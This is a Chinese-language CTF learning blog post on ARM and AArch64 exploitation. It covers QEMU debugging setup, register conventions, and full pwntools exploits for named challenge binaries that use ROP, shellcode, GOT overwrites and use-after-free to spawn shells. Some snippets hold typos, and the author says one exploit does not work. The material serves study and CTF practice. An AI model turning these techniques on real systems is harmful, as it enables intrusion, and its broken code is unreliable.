ARM-PWN学习

环境配置

### 安装插件

​ 关于异构的环境配置大家可以参考这篇文章,真的超级详细,arm,aarch64,powerpc,mips等等架构也有都,超级nice 传送门

关于arm架构,首先需要安装qeum其中包括qemu-userqemu-user-staticqemu-system可以安装也可以不安装,接着安装调试工具gdb-multiarch,然后就可以通过qeum启动arm架构的程序来调试了

1
2
3
sudo apt-get install  qemu-user qemu-user-static
sudo apt-get install qemu-system uml-utilities bridge-utils
sudo apt install gdb-multiarch

启动程序

如果要启动一个名为pwn的arm架构的动态程序,命令应该为

1
qemu-arm -L /path/to/lib ./pwn

其中-L后面跟的参数为路径,不知道的话可以通过 file pwn 来查看一下所需路径以及ld

如果想要调试的话可以通过

1
qemu-arm -L /path/to/lib -g 1234./pwn

其中-g后面的参数为调试时要attach的端口,运行后pwn程序会等待gdb来attach连接,然后就可以调试了

1
2
gdb-multiarch
attach 1234

如果是静态编译的程序的话就不需要-L来设置路径了

如果是其他架构的程序的话,只需要把qemu-arm改为对应的架构即可,如qemu-arrch64等等

调试方法

exp调试:

1
2
context(arch='arm', os='linux', log_level='debug')#设置对应的arch
process(["qemu-arm","-g","1234","-L", "/path/to/lib", "pwn"])#如果不需要调试的话可以把-g以及参数去掉,静态程序的话-L也可以去掉

但是即使这样,还是的每次自己另外打开一个端口然后attach连接,还得让程序运行到自己想要运行的地方,这也太麻烦了,有没有简便的方法呢,有的兄弟有的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import subprocess
import time

context(arch="arm", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture arm",
"-ex", f"file pwn",
"-ex", "target remote localhost:1234",
"-ex","b *0x1041c",
"-ex","b *0x104f0",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

elf=ELF('./pwn')


r3_pc=0x0001036c
shellcode=asm(shellcraft.execve("/bin/sh"))


# p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabihf", "-g","1234", "pwn"])
p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabihf", "pwn"])
ggg()
shell()

其中

1
2
3
4
5
6
7
8
9
10
11
def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture arm",
"-ex", f"file pwn",
"-ex", "target remote localhost:1234",
"-ex","b *0x1041c",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

可以让你在运行脚本的时候自动打开一个终端并连接,然后在你指定的地方下断点并运行到断点处,这就很方便了,大家记得自己修改端口号,架构设置,程序名称,断点,如果开启了PIE的话,可以把断点设置改为b *rebase(offset)

在qemu里运行arm架构的程序的话,就算开启了PIE,也是每次固定从一个偏移开始,和没开没什么区别,而且libc的地址每次也是固定的,不会有变动,当然如果是真机的话肯定是随机的,如果远程也是用qemu跑的话,可以直接使用libc而不用泄露,这给做题降低了很多难度

aarch64架构的libc就是随机的了,虽然网上也有说不随机的文章,可能版本不一样了吧,我在本地qemu运行aarch64程序调试的时候libc是随机的 ) (

指令学习

arm和aarch64都是通过寄存器传参的,没有像x86那样通过栈传参的形况

arm

R0~R3依次用来传递函数调用参数,R0还用来保存函数返回结果,R7存放系统调用号,R11(FP)相当于rbp

R13(SP)相当于rspR14(LR)用来存放函数返回地址,R15(PC)相当于ripx64函数返回的时候大多是通过leave ret来返回的,而arm是通过

1
2
sub    sp, r11, #4 将r11减4的值传给sp
pop {r11, pc} #恢复rbp,和pc

来进行栈回溯的,当然我们熟悉的poppush指令也都有

arm中没有call funk的汇编,只有B funk,BL funk,BX funk, BLX funk来进行跳转

B就相当于jmp,一般形况下BL相当于call,BL会跳转到指定位置执行代码,然后将当前位置的PC值保存到LR中,也就是将返回地址保存到了LR中

然后是ldr(加载指令)和str(存储指令)这两个指令的含义

1
2
3
4
ldr r2, [r1], #-2 将r1地址中的值传给r2,然后r1-=2
ldr r2, [r1], r3, LSL#2 将r1地址中的值传给r2,然后r1+=r3<<2
str r2, [r1, #2] 将r2中的值存储到r1中的地址加2处的地址中
str r2, [r1, r3, LSL#2] 将r2中的值存储到r1中的地址加上r3中的值左移两位后的值所指向的地址中

大概例子就这样,不懂的可以拷打AI,因为我也不是很懂,参考于这里

aarch64

X0 ~ X7用来依次传递参数,X0存放着函数返回值,X8常用来存放系统调用号或一些函数的返回结果,x32是PC寄存器,栈顶是X31(SP)寄存器,栈帧是X29(FP)寄存器,X30(LR)存放着函数的返回地址

对于B类的跳转指令,新增了BR指令,可以向寄存器里的地址跳转,这里不再叙述,详细可以参考这位大佬的文章这里

值得留意的是,aarch64中没有了poppush指令,而是通过STPLDP来实现的

1
2
stp    x29, x30, [sp, #-0x50]! 将x29的值push到sp-0X50处,将x30的值push到sp-0x50+0x8处,然后sp-=0x50(如果后面没有!号的话,sp不变)
ldp x29, x30, [sp], #0x50 将sp中的值pop到x29中,将sp+8中的值pop到x30中,然后将sp+=0x20

诸如此类的使用方式

aarch64中有ret指令,但ret并不是将是sp中的值pop出来当作下一条指令执行,而是retLR(x30)中储存的地址继续执行

题目学习

题目下载可以从这里下载,这里就不讲解了,只放个exp供大家参考

arm

jarvisoj typo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import subprocess
import time

context(arch="arm", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture arm",
"-ex", f"file pwn",
"-ex", "target remote localhost:1234",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

elf=ELF('./pwn')

gadget_addr = 0x20904 # pop {r0, r4, pc};
bin_sh_addr = 0x6c384
system_addr = 0x110B4


# p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabihf", "-g","1234", "pwn"])
p = process(["qemu-arm", "pwn"])
sla(b'quit',b'\n')
payload = b'a'*0x70 + p32(gadget_addr) + p32(bin_sh_addr) + p32(0) + p32(system_addr)
sla(b'------Begin------',payload)
shell()

Codegate2018 melong

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import subprocess
import time

context(arch="arm", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture arm",
"-ex", f"file pwn",
"-ex", "target remote localhost:1234",
"-ex","b *0x1116c",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

shellcode=asm(shellcraft.execve('/bin/sh'))
shellcode=shellcode.ljust(0x40,b'\x00')+p64(0x4007e0)
libc=ELF('./lib/libc.so.6')
elf=ELF('./pwn')

p = process(["qemu-arm","-L", "./", "pwn"])
sla(b'Type the number:',b'1')
sla(b'Your height(meters) : ',b'1.70')
sla(b'Your weight(kilograms) : ',b'40')
sla(b'Type the number:',b'2')
sla(b'Type the number:',b'3')
sla(b'How long do you want to take personal training?',b'-1')
sla(b'Type the number:',b'4')
libc_base=0x40856000
system,binsh=getshell()
ro_pc=0x00011bbc
sleep(0.5)
sl(b'a'*0x54+p32(ro_pc)+p32(binsh)+p32(system))
sla(b'Type the number:',b'6')
shell()

Root Me : stack_buffer_overflow_basic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import subprocess
import time

context(arch="arm", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture arm",
"-ex", f"file pwn",
"-ex", "target remote localhost:1234",
"-ex","b *0x1041c",
"-ex","b *0x104f0",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

elf=ELF('./pwn')


r3_pc=0x0001036c
shellcode=asm(shellcraft.execve("/bin/sh"))


# p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabihf", "-g","1234", "pwn"])
p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabihf", "pwn"])

sla(b'Give me data to dump:',b'aaa')
ru(b'0x')
stack=int(ru(b':')[:-1],16)
print(hex(stack))
sla(b'Dump again (y/n):',b'y')
payload=shellcode.ljust(0xa4,b'a')+p32(stack)
sla(b'Give me data to dump:',payload)
sla(b'Dump again (y/n):',b'n')
shell()

Root Me : stack_spraying

这个题在最后执行system的时候老是报错,不知道是什么原因,懒得深究了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
import subprocess
import time

context(arch="arm", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture arm",
"-ex", f"file pwn",
"-ex", "target remote localhost:1234",
"-ex","b *0x10668",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

elf=ELF('./pwn')
bss=0x21000+0x600
s=0x10704
system=0x105a0
scanf=0x10658
p = process(["qemu-arm","-L", "./", "-g","1234", "pwn"])
# p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabihf", "pwn"])
gadget=0x0001055c #pop {r0, r1, r4, r8, fp, ip, sp, pc}
pc=0x000105b0 #pop {r4, fp, pc}
payload=b'a'*0x40+p32(bss+0x300+0x44)+p32(0x10658)
ggg()
sla(b'Give me data to dump:',payload)
ru(b'61')
payload=b'/bin/sh\x00'+p32(bss+0x300)
payload=payload.ljust(0x40,b'\x00')
payload+=p32(bss+0x300+0x18)+p32(0x105a0)
sl(payload)
shell()

Root Me : use_after_free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
import subprocess
import time

context(arch="arm", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture arm",
"-ex", f"file pwn",
"-ex", "target remote localhost:1234",
"-ex","b *0x106e8",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

elf=ELF('./pwn')
libc=ELF('./lib/libc.so.6')

def add(asi,team,desc):
if asi!="":
sla(b": ",b'add '+asi)
else:
sla(b": ",b'add')
sla(b'Team: ',team)
sla(b'Desc: ',desc)

def show(asi,index):
if asi!="":
sla(b": ",b'show '+asi)
else:
sla(b": ",b'show')
sla(b'Index: ',str(index).encode())

def score(index,point):
sla(b": ",b'score')
sla(b'Index: ',str(index).encode())
sla(b'Points: ',str(point).encode())


def dle(index):
sla(b": ",b'del')
sla(b'Index: ',str(index).encode())

def edit(asi,index,team,desc,point):
if asi!="":
sla(b": ",b'edit '+asi)
sla(b'Team: ',team)
else:
sla(b": ",b'edit')
sla(b'Index: ',str(index).encode())
sla(b'Team: Team: ',team)
sla(b'Desc: ',desc)
sla(b'Points: ',str(point).encode()+b'/bin/sh')


count=0x23074
akas=0x23478
p = process(["qemu-arm","-L", "./", "pwn"])
# p = process(["qemu-arm","-L", "./", "-g","1234", "pwn"])

sscanf=elf.got['sscanf']

add(b'tao0',"team0",b'a'*0x200)
add(b'tao1',"team1",b'a'*0x10)
add(b'tao2',"team2",b'a'*0x10)
add(b'tao3',"team3",b'a'*0x10)
add(b'tao4',"team4",b'a'*0x10)
dle(0)
show(b'tao0',1)
ru(b'Desc: ')
libc_base=uu32()-0x13b7c4
system,binhs=getshell()s
dle(2)
dle(3)
add(b'tao5',"team5",b'a'*56+p32(sscanf))
edit(b'tao2',0,b'team2',p32(system),0x100)
shell()

aarch64

上海骇极杯 2018 baby_arm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
import subprocess
import time

context(arch="aarch64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

gdbscript = '''
set architecture aarch64
target remote localhost:1234
'''

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture aarch64",
"-ex", f"file baby_arm",
"-ex", "target remote localhost:1234",
"-ex","b *0x400838",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)
pause()

shellcode=asm(shellcraft.execve('/bin/sh'))
shellcode=shellcode.ljust(0x40,b'\x00')+p64(0x4007e0)
libc=ELF('./lib/libc.so.6')
elf=ELF('./pwn')
csu=0x4008cc
read_plt=elf.plt['read']
read_got=elf.got['read']
def gadget(tar_funk,x0,x1,x2):
payload=p64(0)+p64(0x4008ac)+p64(0)+p64(1)+p64(tar_funk)+p64(x2)+p64(x1)+p64(x0)
return payload


p = process(["qemu-aarch64", "-L", "./", "pwn"])
#p=remote('121.199.64.23',51603)
#ggg()
ru(b'Name:')
sl(b'taotao')
pause()
bss=0x411000
payload=b'a'*0x48+p64(csu)+gadget(read_got,0,bss+0x200,0x200)+gadget(bss+0x200+0x40,bss,0x1000,7)+p64(0)+p64(bss+0x200)
sl(payload)
pause()
s(shellcode)
shell()

2021 DASCTF 1月赛 ememarm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import subprocess
import time

context(arch="aarch64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190", "gdb-multiarch", "-q", "-x", "-"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))

def ggg():
gdb_cmd = [
"tmux", "split-window", "-v", "-l", "190",
"gdb-multiarch", "-ex", "set architecture aarch64",
"-ex", f"file pwn",
"-ex", "target remote localhost:1234",
"-ex","b *0x400c68",
"-ex","c"
]
subprocess.Popen(gdb_cmd)
time.sleep(1)

elf=ELF('./pwn')
libc=ELF('./lib/libc.so.6')

def requ(cx,cy,is_):
sla(b'you choice: ',b'1')
sa(b'cx:',cx)
sa(b'cy:',cy)
sla(b'do you want delete?',str(is_).encode())

def show(index):
sla(b'you choice: ',b'2')
pause()
sl(str(index).encode())

def max(cx,cy,is_):
sla(b'you choice: ',b'4')
sa(b'cx:',cx)
sa(b'cy:',cy)
sla(b'do you want delete?',str(is_).encode())

def edit(index,content):
sla(b'you choice: ',b'3')
pause()
sl(str(index).encode())
pause()
s(content)

p = process(["qemu-aarch64","-L", "./", "pwn"])
# p = process(["qemu-aarch64","-L", "./", "-g","1234", "pwn"])
# ggg()
ru(b'\n')
sl(b'/bin/sh\x00')
requ(b's'*0x8,b'd'*0x8,0)
requ(b's'*0x8,b'd'*0x8,0)
requ(p64(0),p64(0x31),1)
requ(b's'*0x8,b'd'*0x8,1)
edit(1,p64(0)+p64(0x31)+p64(0))
requ(p64(0),p64(elf.got['printf']),1)
edit(2,p64(elf.got['puts']))
requ(p64(0),p64(elf.got['free']),0)
edit(2,p64(elf.plt['puts']))
ru('\n')
libc_base=uu64()-0x63f40
print(hex(libc_base))
system,binsh=getshell()

edit(2,p64(system))
sla(b'you choice: ',b'5')

shell()

最近做习惯了打IO用FSOP的堆体,上述两个堆题劫持got表的题都不太会做了,特别是ememarm,看着exp很短,细究起来对于数据的构造还是很巧妙的,强烈推荐()~~